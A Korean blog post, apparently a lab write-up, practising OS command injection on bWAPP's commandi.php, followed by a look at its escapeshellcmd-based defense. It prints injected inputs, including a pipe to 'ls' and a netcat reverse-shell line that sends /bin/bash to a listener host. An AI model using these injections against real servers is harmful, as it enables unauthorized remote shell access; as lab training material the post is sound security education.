본문 바로가기
Projects/애플리케이션 보안

[bWAPP] OS Command Injection 공격 실습

by rimystory 2025. 8. 21.

실습 환경 구축은 이 글에 설명되어있다. (https://rimystory.tistory.com/18)

 

OS Command Injection 공격 설명: 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하고 서버 정보를 알아내는 공격.

 

1. 난이도: low

 

commandi.php 페이지는 입력한 주소의 DNS 주소를 출력하는 기능을 가지고 있다.

이 때 서버는 이 기능을 제공하기 위해 시스템 명령어인 nslookup을 사용하여 결과를 출력한다.

 

만약 아래와 같이 입력하게 되면 서버 내부에서는 nslookup | ls ../../../ 가 실행되어 그 결과를 출력하는 것이다.

 

[결과화면]

결과를 보면 root 디렉터리 정보를 출력하는 것을 알 수 있다.

 

만약 넷켓(Netcat) 명령어를 입력하면 비박스의 서버 정보를 외부에서 파악할 수 있다.

공격 실습을 위해 칼리 리눅스에서 아래 명령을 실행한다.

 

nc -l -p 666 :  666번 포트를 열어 리스닝 모드로 넷캣을 실행하는 명령.

 

[실행화면]

 

위 명령을 실행한 상태로 브라우저에 돌아와 아래 명령을 입력한다.

 

| nc 192.168.56.102 666 -e /bin/bash

 

Lookup 버튼을 누르면 브라우저 위에 로딩 중이라는 표시가 뜬다. netcat 명령이 실행되었음을 알 수 있다.

 

그리고 칼리리눅스에서 원하는 명령(ex. whoami, ls / 등)을 실행하면 아래와 같이 결과가 출력된다.

 

[결과화면]

 

2. 난이도: high

 

난이도 상에서는 위와 같은 방법으로 인젝션 공격을 시도하여도 결과가 나오지 않는다.

이유를 확인하기 위해 /var/www/bWAPP/commandi.php 페이지의 소스코드를 확인한다.

 

case 1과 2(난이도 중/상)를 보면 'commandi_check' 함수를 사용하여 입력값을 검증하는 것을 볼 수 있다.

'commandi_check' 함수의 상세 로직은 아래와 같다.

(대응방안)

funtions_external.php에서 함수의 상세 로직을 보면 'escapeshellcmd' 함수를 사용하여 입력값을 검증하는 것을 볼 수 있다.

 

'escapeshellcmd' 함수는 시스템 Shell 로 실행할 수 있는 특수 문자에 백슬래시를 붙여 명령을 실행할 수 없도록 방어하는 함수이다. 우회하는 특수 문자는 예를 들어 # & ; ` | * ? ~ < > ^ $ 등이 있다.

 

가장 좋은 대응방안은 제공하는 서비스에 nslookup 같은 시스템 명령어를 사용하는 기능을 넣지 않는 것이지만, 부득이하게 사용하여야 하는 경우 위와 같은 방법으로 우회하여야 한다.